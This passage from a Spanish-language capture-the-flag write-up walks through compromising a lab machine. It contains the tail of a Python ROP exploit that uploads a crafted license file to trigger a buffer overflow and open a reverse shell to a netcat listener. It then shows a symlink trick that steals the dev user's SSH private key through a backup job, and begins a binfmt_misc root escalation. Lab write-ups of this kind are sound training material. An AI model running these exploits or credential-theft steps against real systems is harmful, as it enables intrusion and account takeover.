&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; chunk = cmd[i:i+&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;] &lt;span style="color:#75715e"&gt;# Coger 8 letras del comando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Paso A: Decirle DÓNDE escribir (RDI = dirección .data + desplazamiento)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += pop_rdi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += p64(writable + i)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Paso B: Decirle QUÉ escribir (RDX = las 8 letras)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += pop_rdx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += chunk.ljust(&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;, b&lt;span style="color:#e6db74"&gt;&amp;#34;\x00&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Paso C: Ejecutar la escritura (Mover RDX dentro de [RDI])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += mov_gadget
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 6. EJECUCIÓN FINAL ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Ahora que el comando está escrito en la memoria &amp;#39;writable&amp;#39;, lo ejecutamos.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += pop_rdi &lt;span style="color:#75715e"&gt;# Poner en RDI la dirección donde escribimos el comando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += p64(writable)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += system_addr &lt;span style="color:#75715e"&gt;# Llamar a system() -&amp;gt; system(&amp;#34;tu_comando&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 7. EMPAQUETADO Y ENVÍO ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Guardamos el ROP en un archivo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; filename = &lt;span style="color:#e6db74"&gt;&amp;#39;revshell.key&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open(filename, &lt;span style="color:#e6db74"&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;) as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; f.write(rop)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Payload generado en {filename}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Enviando petición a http://{rhost}/activate_license.php ...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Preparamos la subida del archivo tal como lo espera el PHP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; files = {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;licensefile&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; (filename, open(filename, &lt;span style="color:#e6db74"&gt;&amp;#34;rb&amp;#34;&lt;/span&gt;), &lt;span style="color:#e6db74"&gt;&amp;#39;application/octet-stream&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Enviamos el POST. El PHP leerá el archivo y activará el buffer overflow.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; requests.post(f&lt;span style="color:#e6db74"&gt;&amp;#34;http://{rhost}/activate_license.php&amp;#34;&lt;/span&gt;, files=files)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Exploit enviado. ¡Revisa tu listener (nc -lvnp 7777)!&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[-] Error enviando exploit: {e}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Punto de entrada del script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ == &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; len(argv) &amp;lt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;Uso: python3 {argv[0]} &amp;lt;RHOST&amp;gt; &amp;lt;LHOST&amp;gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;Ejemplo: python3 exploit.py 10.129.227.96 10.10.15.44&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perform_rce(argv[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;], argv[&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tenemos reverse shell.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-808d-a79d-c257407572fb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-dev-vía-servicio-de-backups"&gt;Escalada a &lt;code&gt;dev&lt;/code&gt; vía servicio de backups&lt;/h3&gt;
&lt;p&gt;Enumerando en busca de credenciales (queremos acceso a &lt;code&gt;dev&lt;/code&gt;), en &lt;code&gt;/var/www&lt;/code&gt; vemos &lt;code&gt;.zip&lt;/code&gt; que parecen backups. No hay mucho directo, pero hay timers configurados.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8099-8ee6-cb9ed6568d55.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Nos llama la atención el &lt;code&gt;backup service&lt;/code&gt;, porque se ejecuta como &lt;code&gt;dev&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8030-b9ce-eeff7eb4a16b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;www-data@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/www$ cat /usr/bin/webbackup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set -euf -o pipefail
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /var/www/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SRC=/var/www/html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DST=&lt;span style="color:#e6db74"&gt;&amp;#34;/var/www/&lt;/span&gt;$(date +&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;Y-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;m-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;d_&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;H-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;M-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;S)&lt;span style="color:#e6db74"&gt;-html.zip&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/rm --force -- &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$DST&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/zip --recurse-paths &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$DST&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$SRC&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KEEP=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/find /var/www/ -maxdepth &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; -name &lt;span style="color:#e6db74"&gt;&amp;#39;*.zip&amp;#39;&lt;/span&gt; -print0 \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | sort --zero-terminated --numeric-sort --reverse \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; IFS= read -r -d &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt; backup; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; [ &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$KEEP&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;-le&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; ]; then
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; /usr/bin/rm --force -- &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$backup&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; KEEP=&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$((KEEP-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;))&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; done
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La idea es aprovechar cómo &lt;code&gt;zip&lt;/code&gt; trata enlaces simbólicos cuando corre como &lt;code&gt;dev&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;El sistema arranca el script como el usuario &lt;strong&gt;&lt;code&gt;dev&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zip&lt;/code&gt; empieza a comprimir &lt;code&gt;/var/www/html&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zip&lt;/code&gt; se encuentra con un enlace simbólico.&lt;/li&gt;
&lt;li&gt;El comportamiento por defecto de &lt;code&gt;zip&lt;/code&gt; es seguir enlaces simbólicos y archivar el destino.&lt;/li&gt;
&lt;li&gt;Como el script corre como &lt;strong&gt;&lt;code&gt;dev&lt;/code&gt;&lt;/strong&gt;, tiene permisos de lectura sobre &lt;code&gt;/home/dev&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;El &lt;code&gt;.zip&lt;/code&gt; generado en &lt;code&gt;/var/www/&lt;/code&gt; puede incluir ficheros de &lt;code&gt;dev&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Creamos el symlink. No me ha funcionado apuntando a todo &lt;code&gt;/home/dev&lt;/code&gt;, así que apuntamos directamente a la clave SSH.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ln -s /home/dev/.ssh/id_rsa ssh_key.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;unzip &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-16_11-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-html.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Archive&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-16_11-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-html.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;....
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; inflating&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; var/www/html/ssh_key.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;....
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto conseguimos &lt;code&gt;user flag&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8049-9095-d5d1ee0ba4bf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-root-binfmt_misc--capabilities"&gt;Escalada a root: binfmt_misc + capabilities&lt;/h3&gt;
&lt;p&gt;En el directorio de &lt;code&gt;dev&lt;/code&gt; encontramos un proyecto en C.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8060-85ef-cfbb8cef92cd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;emuemu.c&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ cat emuemu.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/* currently this is only a dummy implementation doing nothing */
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;int main(void) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; puts(&lt;span style="color:#e6db74"&gt;&amp;#34;EMUEMU is still under development.&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y otro archivo que permite escribir en &lt;code&gt;binfmt_misc/register&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ cat reg_helper.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#define _GNU_SOURCE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;sys/stat.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;int main(void) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; char cmd[&lt;span style="color:#ae81ff"&gt;512&lt;/span&gt;] = { &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[&lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;] = &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; int fd = open(&lt;span style="color:#e6db74"&gt;&amp;#34;/proc/sys/fs/binfmt_misc/register&amp;#34;&lt;/span&gt;, O_WRONLY);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt; == fd)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perror(&lt;span style="color:#e6db74"&gt;&amp;#34;open&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perror(&lt;span style="color:#e6db74"&gt;&amp;#34;write&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (close(fd) == &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perror(&lt;span style="color:#e6db74"&gt;&amp;#34;close&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Encontramos la idea en “HackTricks”:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/sys/fs/binfmt_misc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/sys/fs/binfmt_misc allows executing miscellaneous binary formats, which typically means various interpreters can be registered &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; non-native binary formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;You can find an exploit &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//github.com/toffan/binfmt_misc&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Poor man&lt;span style="color:#e6db74"&gt;&amp;#39;s rootkit, leverage binfmt_misc&amp;#39;&lt;/span&gt;s credentials option to escalate privilege through any suid binary (and to get a root shell) &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; /proc/sys/fs/binfmt_misc/register is writeable.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Del &lt;code&gt;Makefile&lt;/code&gt; se ve que &lt;code&gt;reg_helper&lt;/code&gt; se instala en &lt;code&gt;/usr/lib/emuemu&lt;/code&gt; y recibe &lt;code&gt;cap_dac_override&lt;/code&gt;, permitiendo escribir en el register.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ cat Makefile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CC &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= gcc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CFLAGS &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SOURCES &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= $(wildcard *.c)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TARGETS &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= $(SOURCES&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;.c=)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.PHONY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; install clean
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;install&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; $(TARGETS)
